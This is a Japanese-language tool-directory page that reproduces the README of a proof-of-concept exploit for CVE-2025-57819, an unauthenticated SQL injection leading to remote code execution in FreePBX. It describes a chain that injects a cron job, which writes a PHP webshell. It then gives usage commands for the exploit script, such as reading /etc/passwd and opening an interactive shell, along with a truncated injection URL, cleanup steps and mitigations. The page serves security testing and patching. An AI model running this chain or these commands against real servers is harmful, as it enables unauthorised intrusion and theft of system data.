Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-57819-POC — FreePBX 未認証SQLインジェクションによるリモートコード実行。FreePBX 15 (15.0.66 未満)、16 (16.0.89 未満)、17 (17.0.3 未満) が影響を受けます。この脆弱性は商用化された「endpoint」モジュールに存在し、ユーザー入力のフィルタリングが不十分なため、未認証の攻撃者が管理者権限をバイパスしてSQLインジェクションを実行し、最終的にリモートコード実行を達成することが可能です。 | Kitploit
ツール/GitHubGitHub/neobee714/cve-2025-57819-poc
脆弱性スキャナーコード分析エクスプロイトウェブセキュリティ学習と教育
GitHubneobee714/cve-2025-57819-poc

CVE-2025-57819-POC

FreePBX 未認証SQLインジェクションによるリモートコード実行。FreePBX 15 (15.0.66 未満)、16 (16.0.89 未満)、17 (17.0.3 未満) が影響を受けます。この脆弱性は商用化された「endpoint」モジュールに存在し、ユーザー入力のフィルタリングが不十分なため、未認証の攻撃者が管理者権限をバイパスしてSQLインジェクションを実行し、最終的にリモートコード実行を達成することが可能です。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-57819 — FreePBX SQLインジェクション → RCE PoC

CVE-2025-57819 は、FreePBX における深刻な SQL インジェクション脆弱性であり、認証されていない攻撃者が SQL インジェクションと cron ジョブインジェクションを連鎖させることでリモートコード実行を達成できるようにします。

⚠️ 免責事項: このリポジトリは、許可されたセキュリティテストおよび教育目的のみで提供されます。所有していない、または明示的なテスト許可を得ていないシステムに対する本エクスプロイトの無断使用は違法です。作者は、誤用や損害について一切の責任を負いません。


脆弱性の概要

項目詳細
CVECVE-2025-57819
影響を受ける製品FreePBX(認証前)
脆弱性の種類SQLインジェクション(スタックドクエリ)
影響リモートコード実行(RCE)
攻撃ベクターネットワーク(HTTP GET)
認証の必要性❌ 不要

エクスプロイトチェーン

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection                                               │
│    POST /admin/ajax.php?brand= → stacked query                 │
│    INSERT INTO cron_jobs …                                     │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection                                          │
│    Malicious cron job writes base64-decoded PHP webshell       │
│    to /var/www/html/shell.php                                  │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access                                             │
│    GET /shell.php?cmd=<command> → arbitrary code execution     │
└────────────────────────────────────────────────────────────────┘

動作の仕組み

  1. /admin/ajax.php エンドポイントは brand パラメータを適切なサニタイズなしで処理するため、スタックドSQLクエリが可能になります。
  2. 攻撃者は INSERT INTO cron_jobs ステートメントを注入し、毎分悪意のあるコマンドが実行されるようスケジュールします。
  3. cronジョブはbase64エンコードされたPHPウェブシェルをデコードし、Webルートに書き込みます。
  4. 書き込み後、攻撃者はウェブシェルを介して任意のシステムコマンドを実行できます。

クイックスタート

root@kitploit:~
# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC

# Install dependency
pip install requests

# Basic usage
python exploit.py <target>

# Drop into interactive shell after injection
python exploit.py <target> --shell

# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"

使用方法

root@kitploit:~
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
                  [--param PARAM] [--no-wait] [-v]
                  target

CVE-2025-57819 – FreePBX SQLi → Cron → WebShell

positional arguments:
  target                target hostname or IP (with optional scheme)

options:
  -h, --help            show this help message and exit
  -p, --port PORT       port (default: 80/443)
  --shell               drop into interactive shell after injection
  --cmd CMD             execute a single command via the webshell
  --param PARAM         webshell query-string parameter (default: cmd)
  --no-wait             skip the webshell-verification poll
  -v, -vv               increase verbosity (-v info, -vv debug)

使用例

root@kitploit:~
# Target with default HTTP port
python exploit.py connected.htb

# Target with custom port
python exploit.py 10.10.11.100 -p 8080

# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell

# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"

# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"

# Verbose output for debugging
python exploit.py connected.htb -vv --shell

インタラクティブシェル

--shell を使用すると、スクリプトは擬似ターミナルに切り替わります:

root@kitploit:~
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.

exit(または Ctrl-C、Ctrl-D)を入力するとセッションを終了します。


手動検証

手動で行う場合、エクスプロイトは次の3つのことを行います:

ステップ1 – cronジョブの注入

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...

ステップ2 – cronが実行されるまで約60秒待機

注入されたcronジョブ(* * * * *)は毎分実行され、ウェブシェルを書き込みます。

ステップ3 – ウェブシェルへのアクセス

root@kitploit:~
GET /shell.php?cmd=id

クリーンアップ

テスト後、ウェブシェルとcronジョブのエントリを削除します:

root@kitploit:~
DELETE FROM cron_jobs WHERE command LIKE '%base64%';

その後、ファイルシステムから /var/www/html/shell.php を削除します。


影響を受けるバージョン

  • ベンダーパッチ適用前のFreePBXバージョン
  • 認証なしで /admin/ajax.php にアクセス可能なシステム

緩和策

  • ベンダー提供のセキュリティパッチを直ちに適用する
  • FreePBX管理インターフェースへのネットワークアクセスを制限する
  • FreePBXデータベースユーザーに最小限の権限のみを付与する(多層防御)

参照

  • FreePBX セキュリティアドバイザリ
  • OWASP SQLインジェクション

ライセンス

このプロジェクトは、教育および防御的なセキュリティ研究のみを目的として提供されています。本ドキュメント冒頭の免責事項を参照してください。

ツールをダウンロード